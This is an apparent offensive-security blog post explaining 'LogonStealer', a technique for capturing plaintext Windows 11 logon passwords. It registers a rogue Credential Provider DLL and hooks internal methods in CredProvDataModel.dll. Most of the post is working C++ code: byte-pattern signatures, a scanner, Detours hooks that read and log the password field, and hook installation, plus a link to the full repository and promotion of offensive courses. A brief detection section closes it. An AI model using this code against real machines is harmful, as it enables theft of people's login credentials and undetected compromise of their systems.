October 13, 2026
Stealing Plaintext Windows Credentials: LogonStealer
Welcome to this new Medium post, in this one we will see how to steal plaintext Windows credentials at the logon screen by abusing theβ¦

By S12 - 0x12Dark Development
4 min read
Welcome to this new Medium post, in this one we will see how to steal plaintext Windows credentials at the logon screen by abusing the Credential Provider COM interface and hooking internal WinRT methods inside CredProvDataModel.dll
Want to go deeper into Windows offensive development?
Video-based courses from beginner to advanced, and text-based modules (mini courses) with new releases constantly. Plus a technique database with 100+ real techniques updated weekly, and custom C2 agents and consulting for teams.
0x12 Dark Development Skip to content Join our offensive development courses and modules, and explore the techniques database with 100+ realβ¦
Introduction
GitHub Repository:
https://github.com/S12cybersecurity/LogonStealer
Before diving into the technique, let's cover the building blocks you need to follow:
- Credential Providers (CP) are COM objects Windows loads into
logonui.exeat logon time. They implementICredentialProviderand are registered under:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\{CLSID}HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\{CLSID}Windows enumerates this key and calls CoCreateInstance on every registered CLSID. That means any DLL registered as a CP is loaded without triggering the standard PPL enforcement
- CredProvDataModel.dll is a DLL that manages the credential input model on modern Windows 11. When you type your password at the logon screen, the keystrokes do NOT go through
ICredentialProviderCredential::SetStringValue(the classic CP interface)
Instead they flow through a WinRT stack:
Windows.UI.Logon.dll
βββ textinputframework.dll
βββ CredProvDataModel.dll
βββ ICredentialProvider (classic COM)
βββ winlogon (via WNF)Windows.UI.Logon.dll
βββ textinputframework.dll
βββ CredProvDataModel.dll
βββ ICredentialProvider (classic COM)
βββ winlogon (via WNF)EditField is the object inside CredProvDataModel.dll that owns the password field. Its vtable has two methods we care about:
put_Value(slot 7): called on every keystroke with the accumulated field value as anHSTRINGget_Value(slot 6): called at submit time with the final value
The EditField object layout we recovered via static analysis of CredProvDataModel.dll:
+0x00vtable pointer+0x48DWORDfield ID5= password+0xA8WCHAR*plaintext buffer
Microsoft Detours is the hooking library we use for inline function patching. DetourAttach replaces the first bytes of the target function with a jump to our hook, storing a trampoline to call the original
Methodology
1. Register a rogue Credential Provider
Create a DLL that implements ICredentialProvider and exports DllGetClassObject. Register its CLSID under the CP registry key. Windows will load it into logonui.exe on the next logon
- Trigger hook installation from
SetUsageScenario
The CP's SetUsageScenario method is called early in the logon flow, before any credentials are entered. We use InitOnceExecuteOnce here to install our hooks exactly once per process
- Locate
put_Valueandget_Valuevia pattern scan
Rather than hardcoding RVAs, we scan the .text section of CredProvDataModel.dll for the 24 byte prologue of each function:
put_Value: 48 89 5C 24 10 55 56 57 41 54 41 55 41 56 41 57 48 8B EC 48 83 EC 40 4C
get_Value: 48 89 5C 24 08 48 89 74 24 10 57 48 83 EC 20 33 F6 48 8B DA 48 89 32 48put_Value: 48 89 5C 24 10 55 56 57 41 54 41 55 41 56 41 57 48 8B EC 48 83 EC 40 4C
get_Value: 48 89 5C 24 08 48 89 74 24 10 57 48 83 EC 20 33 F6 48 8B DA 48 89 32 484. Hook both methods with Detours
Attach PutValueHook and GetValueHook to the resolved function pointers inside a DetourTransactionBegin/Commit block
5. Filter by field ID and extract the password
Inside each hook, read [this+0x48] to get the field ID. Only process fieldID == 5 (the password field). And just extract the plaintext
6. Log on submit
put_Value accumulates keystrokes in g_lastPassword. When the field clears after submit, log the accumulated value. get_Value fires at the exact submit moment with the final value, this is the capture point.
Implementation
Pattern scanner
We walk the PE headers of CredProvDataModel.dll to find the .text section boundaries, then do a linear byte scan:
static BYTE* FindPattern(BYTE* base, size_t size, const BYTE* pattern, const char* mask) {
size_t patLen = strlen(mask);
for (size_t i = 0; i <= size - patLen; i++) {
bool found = true;
for (size_t j = 0; j < patLen; j++) {
if (mask[j] == 'x' && base[i + j] != pattern[j]) {
found = false;
break;
}
}
if (found) return base + i;
}
return nullptr;
}static BYTE* FindPattern(BYTE* base, size_t size, const BYTE* pattern, const char* mask) {
size_t patLen = strlen(mask);
for (size_t i = 0; i <= size - patLen; i++) {
bool found = true;
for (size_t j = 0; j < patLen; j++) {
if (mask[j] == 'x' && base[i + j] != pattern[j]) {
found = false;
break;
}
}
if (found) return base + i;
}
return nullptr;
}The function that calls it walks the section table looking for .text:
static bool ResolveCPDMHooks(HMODULE hMod) {
auto* dos = (IMAGE_DOS_HEADER*)hMod;
auto* nt = (IMAGE_NT_HEADERS*)((BYTE*)hMod + dos->e_lfanew);
auto* sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
if (memcmp(sec->Name, ".text", 5) != 0) continue;
BYTE* base = (BYTE*)hMod + sec->VirtualAddress;
size_t size = sec->Misc.VirtualSize;
static const BYTE patPut[] = {
0x48,0x89,0x5C,0x24,0x10,0x55,0x56,0x57,0x41,0x54,
0x41,0x55,0x41,0x56,0x41,0x57,0x48,0x8B,0xEC,0x48,
0x83,0xEC,0x40,0x4C
};
static const BYTE patGet[] = {
0x48,0x89,0x5C,0x24,0x08,0x48,0x89,0x74,0x24,0x10,
0x57,0x48,0x83,0xEC,0x20,0x33,0xF6,0x48,0x8B,0xDA,
0x48,0x89,0x32,0x48
};
static const char maskPut[] = "xxxxxxxxxxxxxxxxxxxxxxxx";
static const char maskGet[] = "xxxxxxxxxxxxxxxxxxxxxxxx";
BYTE* pPut = FindPattern(base, size, patPut, maskPut);
BYTE* pGet = FindPattern(base, size, patGet, maskGet);
if (pPut) g_OrigPutValue = (EditField_put_Value_t)pPut;
if (pGet) g_OrigGetValue = (EditField_get_Value_t)pGet;
return pPut && pGet;
}
return false;
}static bool ResolveCPDMHooks(HMODULE hMod) {
auto* dos = (IMAGE_DOS_HEADER*)hMod;
auto* nt = (IMAGE_NT_HEADERS*)((BYTE*)hMod + dos->e_lfanew);
auto* sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
if (memcmp(sec->Name, ".text", 5) != 0) continue;
BYTE* base = (BYTE*)hMod + sec->VirtualAddress;
size_t size = sec->Misc.VirtualSize;
static const BYTE patPut[] = {
0x48,0x89,0x5C,0x24,0x10,0x55,0x56,0x57,0x41,0x54,
0x41,0x55,0x41,0x56,0x41,0x57,0x48,0x8B,0xEC,0x48,
0x83,0xEC,0x40,0x4C
};
static const BYTE patGet[] = {
0x48,0x89,0x5C,0x24,0x08,0x48,0x89,0x74,0x24,0x10,
0x57,0x48,0x83,0xEC,0x20,0x33,0xF6,0x48,0x8B,0xDA,
0x48,0x89,0x32,0x48
};
static const char maskPut[] = "xxxxxxxxxxxxxxxxxxxxxxxx";
static const char maskGet[] = "xxxxxxxxxxxxxxxxxxxxxxxx";
BYTE* pPut = FindPattern(base, size, patPut, maskPut);
BYTE* pGet = FindPattern(base, size, patGet, maskGet);
if (pPut) g_OrigPutValue = (EditField_put_Value_t)pPut;
if (pGet) g_OrigGetValue = (EditField_get_Value_t)pGet;
return pPut && pGet;
}
return false;
}put_Value hook
Called keystroke by keystroke. Accumulates the value in g_lastPassword. When the field empties after submit, logs whatever was accumulated:
HRESULT __fastcall PutValueHook(void* pThis, HSTRING hstrNewValue) {
DWORD fieldID = *(DWORD*)((BYTE*)pThis + 0x48);
if (fieldID == FIELD_ID_PASSWORD) {
UINT32 len = 0;
const wchar_t* raw = WindowsGetStringRawBuffer(hstrNewValue, &len);
if (raw && len > 0) {
StringCchCopyW(g_lastPassword, ARRAYSIZE(g_lastPassword), raw);
} else {
if (g_lastPassword[0] != L'\0') {
SYSTEMTIME st;
GetLocalTime(&st);
Log(L"\n[CRED] %04u-%02u-%02u %02u:%02u:%02u\n",
st.wYear, st.wMonth, st.wDay,
st.wHour, st.wMinute, st.wSecond);
Log(L" password: %s\n", g_lastPassword);
g_lastPassword[0] = L'\0';
}
}
}
return g_OrigPutValue(pThis, hstrNewValue);
}HRESULT __fastcall PutValueHook(void* pThis, HSTRING hstrNewValue) {
DWORD fieldID = *(DWORD*)((BYTE*)pThis + 0x48);
if (fieldID == FIELD_ID_PASSWORD) {
UINT32 len = 0;
const wchar_t* raw = WindowsGetStringRawBuffer(hstrNewValue, &len);
if (raw && len > 0) {
StringCchCopyW(g_lastPassword, ARRAYSIZE(g_lastPassword), raw);
} else {
if (g_lastPassword[0] != L'\0') {
SYSTEMTIME st;
GetLocalTime(&st);
Log(L"\n[CRED] %04u-%02u-%02u %02u:%02u:%02u\n",
st.wYear, st.wMonth, st.wDay,
st.wHour, st.wMinute, st.wSecond);
Log(L" password: %s\n", g_lastPassword);
g_lastPassword[0] = L'\0';
}
}
}
return g_OrigPutValue(pThis, hstrNewValue);
}get_Value hook
Called at submit. This is the exact moment the CP stack reads the final value to pass it upstream:
HRESULT __fastcall GetValueHook(void* pThis, HSTRING* phstrOut) {
HRESULT hr = g_OrigGetValue(pThis, phstrOut);
DWORD fieldID = *(DWORD*)((BYTE*)pThis + 0x48);
if (fieldID == FIELD_ID_PASSWORD && SUCCEEDED(hr) && phstrOut && *phstrOut) {
UINT32 len = 0;
const wchar_t* raw = WindowsGetStringRawBuffer(*phstrOut, &len);
if (raw && len > 0) {
SYSTEMTIME st;
GetLocalTime(&st);
Log(L"\n[SUBMIT] %04u-%02u-%02u %02u:%02u:%02u\n",
st.wYear, st.wMonth, st.wDay,
st.wHour, st.wMinute, st.wSecond);
Log(L" password: %s\n", raw);
StringCchCopyW(g_lastPassword, ARRAYSIZE(g_lastPassword), raw);
}
}
return hr;
}HRESULT __fastcall GetValueHook(void* pThis, HSTRING* phstrOut) {
HRESULT hr = g_OrigGetValue(pThis, phstrOut);
DWORD fieldID = *(DWORD*)((BYTE*)pThis + 0x48);
if (fieldID == FIELD_ID_PASSWORD && SUCCEEDED(hr) && phstrOut && *phstrOut) {
UINT32 len = 0;
const wchar_t* raw = WindowsGetStringRawBuffer(*phstrOut, &len);
if (raw && len > 0) {
SYSTEMTIME st;
GetLocalTime(&st);
Log(L"\n[SUBMIT] %04u-%02u-%02u %02u:%02u:%02u\n",
st.wYear, st.wMonth, st.wDay,
st.wHour, st.wMinute, st.wSecond);
Log(L" password: %s\n", raw);
StringCchCopyW(g_lastPassword, ARRAYSIZE(g_lastPassword), raw);
}
}
return hr;
}Hook installation
Triggered from SetUsageScenario, guarded by InitOnceExecuteOnce so it runs exactly once per process regardless of how many logon sessions occur:
static BOOL CALLBACK DoInstall(PINIT_ONCE, PVOID, PVOID*) {
HMODULE hCPDM = GetModuleHandleA("credprovdatamodel.dll");
if (!hCPDM || !ResolveCPDMHooks(hCPDM)) {
Log(L"[CredHook] ERROR: could not resolve hooks\n");
return TRUE;
}
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
if (g_OrigPutValue) DetourAttach(&(void*&)g_OrigPutValue, PutValueHook);
if (g_OrigGetValue) DetourAttach(&(void*&)g_OrigGetValue, GetValueHook);
LONG err = DetourTransactionCommit();
Log(err == NO_ERROR ? L"[CredHook] hooks OK\n" : L"[CredHook] Detours error: %ld\n", err);
return TRUE;
}static BOOL CALLBACK DoInstall(PINIT_ONCE, PVOID, PVOID*) {
HMODULE hCPDM = GetModuleHandleA("credprovdatamodel.dll");
if (!hCPDM || !ResolveCPDMHooks(hCPDM)) {
Log(L"[CredHook] ERROR: could not resolve hooks\n");
return TRUE;
}
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
if (g_OrigPutValue) DetourAttach(&(void*&)g_OrigPutValue, PutValueHook);
if (g_OrigGetValue) DetourAttach(&(void*&)g_OrigGetValue, GetValueHook);
LONG err = DetourTransactionCommit();
Log(err == NO_ERROR ? L"[CredHook] hooks OK\n" : L"[CredHook] Detours error: %ld\n", err);
return TRUE;
}Full Code
β github.com/S12cybersecurity/LogonStealer
Detection
Registry
A new CLSID under HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers that doesn't belong to a known Microsoft or legitimate third- party provider is a strong signal. Monitor this key for creation events.
Process image load
logonui.exe loading an unsigned or unknown DLL should trigger an alert.
Conclusions
The classic Credential Provider API gets all the attention in offensive security research, but the real capture point on modern Windows 11 is two levels deeper. SetStringValue is never called for password input, the input in CredProvDataModel.dll owns that data, and nobody is hooking it
The PPL bypass here is not a vulnerability, it's by design. Credential Providers are a legitimate Windows extension point, and the COM loader doesn't enforce PPL before loading them
π Follow me: π¦ X | π¬ Discord Server | πΈ Instagram | Newsletter | YouTube
S12.